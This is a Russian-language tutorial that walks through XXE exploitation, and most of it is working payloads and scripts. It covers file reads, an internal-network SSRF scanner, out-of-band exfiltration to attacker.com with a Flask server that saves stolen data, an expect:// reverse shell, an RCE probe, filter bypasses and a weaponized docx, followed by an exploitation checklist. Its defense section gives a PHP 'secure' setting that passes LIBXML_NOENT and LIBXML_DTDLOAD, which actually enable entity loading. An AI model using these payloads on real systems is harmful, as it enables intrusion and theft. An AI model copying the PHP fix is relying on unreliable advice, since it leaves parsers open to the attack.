XXE: от чтения файлов до full RCE через Expect
Привет, друг!
XXE (XML External Entity) — это атака на небезопасно сконфигурированный XML-парсер, которая позволяет злоумышленнику вмешиваться в обработку XML-данных приложением. Звучит скучно? А теперь представь, что через обычную форму загрузки файлов ты можешь читать /etc/passwd, делать SSRF на внутренние сервисы и даже выполнять команды на сервере. Вот это уже интереснее.
Как работает механизм
XML поддерживает внешние сущности (entities), которые могут быть определены через URI. Парсер обрабатывает этот URI и подставляет содержимое в документ. Если приложение не отключает эту фичу — у тебя есть вектор атаки.
Базовый пример чтения файлов
|
1 2 3 4 5 6 7 |
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <userInfo> <name>&xxe;</name> </userInfo> |
При обработке этого XML парсер подставит вместо &xxe; содержимое файла /etc/passwd. Если приложение возвращает обработанные данные в ответе — ты получаешь содержимое файла.
Python пример уязвимого кода:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
from lxml import etree # УЯЗВИМЫЙ КОД def parse_xml_vulnerable(xml_data): parser = etree.XMLParser(resolve_entities=True) # По умолчанию включено tree = etree.fromstring(xml_data, parser) return etree.tostring(tree) # Атака payload = b"""<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data>""" result = parse_xml_vulnerable(payload) print(result) # Содержимое /etc/passwd |
Эскалация до SSRF
XXE позволяет делать запросы к любым URL, включая внутренние сервисы. Это превращает уязвимость в SSRF (Server-Side Request Forgery).
|
1 2 3 4 5 |
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://localhost:8080/admin/delete?user=victim"> ]> <data>&xxe;</data> |
Теперь сервер сделает запрос к внутреннему API от своего имени. Можно сканировать внутреннюю сеть, читать метадату AWS (169.254.169.254), атаковать Redis/Memcached.
Сканирование внутренней сети:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
# Генератор пейлоадов для сканирования def generate_xxe_scan(ip, port): return f"""<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://{ip}:{port}/"> ]> <scan>&xxe;</scan>""" # Пройтись по диапазону for i in range(1, 255): payload = generate_xxe_scan(f"192.168.1.{i}", 80) # Отправляем и анализируем ответы/таймауты |
Blind XXE: когда ответа нет
Часто приложение не возвращает обработанные данные. Тогда используем Out-of-Band (OOB) технику.
Классический OOB XXE:
|
1 2 3 4 5 6 7 8 |
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; %send; ]> <data>test</data> |
Файл evil.dtd на сервере атакующего:
|
1 2 |
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>"> %all; |
Парсер загрузит твой DTD, подставит содержимое файла в параметр и отправит GET-запрос с данными. Смотришь логи веб-сервера — получаешь файл.
Python сервер для приема данных:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
from flask import Flask, request import base64 app = Flask(__name__) @app.route('/evil.dtd') def evil_dtd(): return """<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com:5000/exfil?d=%file;'>"> %all;""", 200, {'Content-Type': 'application/xml-dtd'} @app.route('/exfil') def exfil(): data = request.args.get('d', '') print(f"[+] Exfiltrated: {data}") with open('stolen.txt', 'a') as f: f.write(data + '\n') return 'OK' if __name__ == '__main__': app.run(host='0.0.0.0', port=5000) |
PHP Expect wrapper: переход к RCE
Вот где начинается магия. PHP поддерживает expect:// wrapper, который позволяет выполнять команды. Если на сервере установлен модуль PHP Expect — у тебя RCE.
|
1 2 3 4 5 |
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "expect://id"> ]> <data>&xxe;</data> |
Парсер выполнит команду id и вернет результат. Это полноценное удаленное выполнение кода.
Reverse shell через XXE+Expect:
|
1 2 3 4 5 |
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "expect://bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"> ]> <root>&xxe;</root> |
Проверка наличия Expect на целевом сервере:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
import requests test_payloads = [ "expect://id", "expect://whoami", "expect://uname -a" ] for payload in test_payloads: xml = f"""<?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "{payload}">]> <data>&xxe;</data>""" r = requests.post('http://target.com/upload', data=xml) if 'uid=' in r.text or 'Linux' in r.text: print(f"[!] RCE FOUND via {payload}") break |
Продвинутые техники обхода
Обход фильтрации keywords:
|
1 2 3 4 5 6 7 8 |
<!-- Используем параметрические сущности --> <!DOCTYPE foo [ <!ENTITY % start "<![CDATA["> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> |
Обход через UTF-7 encoding:
|
1 2 |
<?xml version="1.0" encoding="UTF-7"?> +ADw-+ACE-DOCTYPE foo+AFs-+ADw-+ACE-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-+AF0-+AD4- |
XXE через SVG upload:
|
1 2 3 4 5 6 7 |
<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"> <text font-size="16" x="0" y="16">&xxe;</text> </svg> |
Многие приложения принимают SVG как «безопасные изображения», но внутри это XML.
Атака через SOAP API
SOAP использует XML, что делает его идеальной целью.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
POST /soap-api HTTP/1.1 Content-Type: text/xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///var/www/html/config.php"> ]> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <getUser> <username>&xxe;</username> </getUser> </soap:Body> </soap:Envelope> |
Читаешь конфиг с кредами от БД — дальше lateral movement.
Error-based XXE
Когда нет ни OOB, ни отражения данных — используй ошибки парсера.
|
1 2 3 4 5 6 7 8 |
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % error "<!ENTITY content SYSTEM 'file:///nonexistent/%file;'>"> %error; %content; ]> <data>1</data> |
Парсер попытается открыть /nonexistent/root:x:0:0:... и выдаст ошибку с содержимым файла в пути.
XXE через docx/xlsx
Office файлы — это ZIP-архивы с XML внутри.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Распаковываем docx unzip document.docx -d extracted/ # Модифицируем word/document.xml cat > extracted/word/document.xml << 'EOF' <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com/exfil"> ]> <document>&xxe;</document> EOF # Запаковываем обратно cd extracted && zip -r ../weaponized.docx * && cd .. |
Когда жертва откроет файл в веб-приложении для просмотра — XXE сработает.
Защита от XXE
Python (lxml):
|
1 2 3 4 5 6 7 8 9 10 11 |
from lxml import etree # БЕЗОПАСНЫЙ парсинг parser = etree.XMLParser( resolve_entities=False, # Отключаем external entities no_network=True, # Запрещаем сетевые запросы dtd_validation=False, # Отключаем DTD load_dtd=False # Не загружаем DTD ) tree = etree.fromstring(xml_data, parser) |
Python (defusedxml):
|
1 2 3 4 |
import defusedxml.ElementTree as ET # Библиотека со встроенной защитой tree = ET.fromstring(xml_data) |
PHP:
|
1 2 3 4 5 6 |
// Отключаем external entities libxml_disable_entity_loader(true); // Или используем защищенные настройки $dom = new DOMDocument(); $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR); |
Java:
|
1 2 3 4 |
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); |
Checklist эксплуатации
- Найди точки ввода XML: API endpoints, file uploads, SOAP services
- Проверь базовый XXE: чтение
/etc/hostname - Blind XXE: используй OOB, если нет отражения
- SSRF: сканируй внутреннюю сеть
- RCE через Expect: проверь
expect://id - Альтернативные wrappers:
php://filter,data://,ftp:// - Эксфильтрация через DNS: если HTTP заблокирован
Реальные кейсы
Facebook в 2014 была уязвима к XXE через загрузку Office документов. Google в 2013 имела XXE в некоторых внутренних сервисах. Уязвимость есть даже в современных приложениях, потому что XML всё ещё используется в SOAP, RSS, SVG и старых корпоративных системах.
Итого
XXE — это не просто чтение файлов. Это SSRF, это RCE через Expect, это эксфильтрация через DNS, это доступ к облачным метаданным. Современные парсеры по умолчанию часто уязвимы. Твоя задача как разработчика — явно отключать external entities. Твоя задача как пентестера — проверять каждую точку обработки XML на эту уязвимость.

На этом все. Всем хорошего дня!
